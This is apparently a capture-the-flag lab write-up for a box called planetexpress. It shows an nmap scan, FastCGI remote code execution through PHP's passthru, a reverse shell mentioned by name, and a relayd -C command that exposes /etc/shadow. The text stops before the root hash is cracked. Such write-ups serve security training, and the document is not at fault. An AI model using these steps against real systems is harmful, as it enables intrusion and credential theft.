$ nmap -p- --min-rate 4000 -Pn 192.168.183.205
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-09 22:27 +08
Nmap scan report for 192.168.183.205
Host is up (0.17s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9000/tcp open cslistener
Nmap done: 1 IP address (1 host up) scanned in 35.83 seconds
Did a detailed scan to enumerate port 80 and 9000 further:
There's also a custom plugin developed for this website, and we can visit that at plugins/PicoTest.php based on the Github repo. This would show us the PHPInfo of the site:
Here, we can find that /var/www/html/planetexpress is the document root. Also, we can find a lot of disabled functions:
FastCGI -> RCE
There wasn't much else on the webpage for us to test, however there was still port 9000. Googling it revealed that it was running FastCGI:
There are RCE exploits for this service here. The script given allows us to inject PHP code into the service to be run. However, there are a lot of functions that are disabled based on PicoTest.php. I checked the functions against all functions that are able to execute system commands via PHP, and passthru was not disabled.
Using passthru and the document root directory allows us to get RCE:
We can then get a reverse shell via the mkfifo one-liner.
www-data@planetexpress:/home/astro$ /usr/sbin/relayd --help
Usage: relayd [options] [actions]
Actions:
default action start daemon
-h show this help message
-v show version info
-k kill running daemon
-s get running status
-U hup (reload configs)
-a [service] add service for relay
-r [service] remove service for relay
-i get real client ip
-b [up|down] broadcast the DS boot state
-R reopen the log file
Options:
-C [file] read config from file
-d enable debug mode. will not run in background
-P [file] set pid file for daemon
-g [ip] remote source ip
-n [port] remote source port
The option that stood out the most to me was the -C flag, because it allows us to read from files. I attempted to read the /etc/shadow file:
www-data@planetexpress:/tmp$ /usr/sbin/relayd -C /etc/shadow
[ERR] 2023-07-09 10:53:48 config.cpp:1539 write
[ERR] 2023-07-09 10:53:48 config.cpp:1213 open failed [/usr/etc/relayd/misc.conf.tmp.12217]
[ERR] 2023-07-09 10:53:48 config.cpp:1189 bad json format [/etc/shadow]
[ERR] 2023-07-09 10:53:48 invalid config file
www-data@planetexpress:/tmp$ ls -la /etc/shadow
-rw-r--r-- 1 root shadow 940 Jan 10 2022 /etc/shadow
This made the file readable by all. We can then grab the root hash: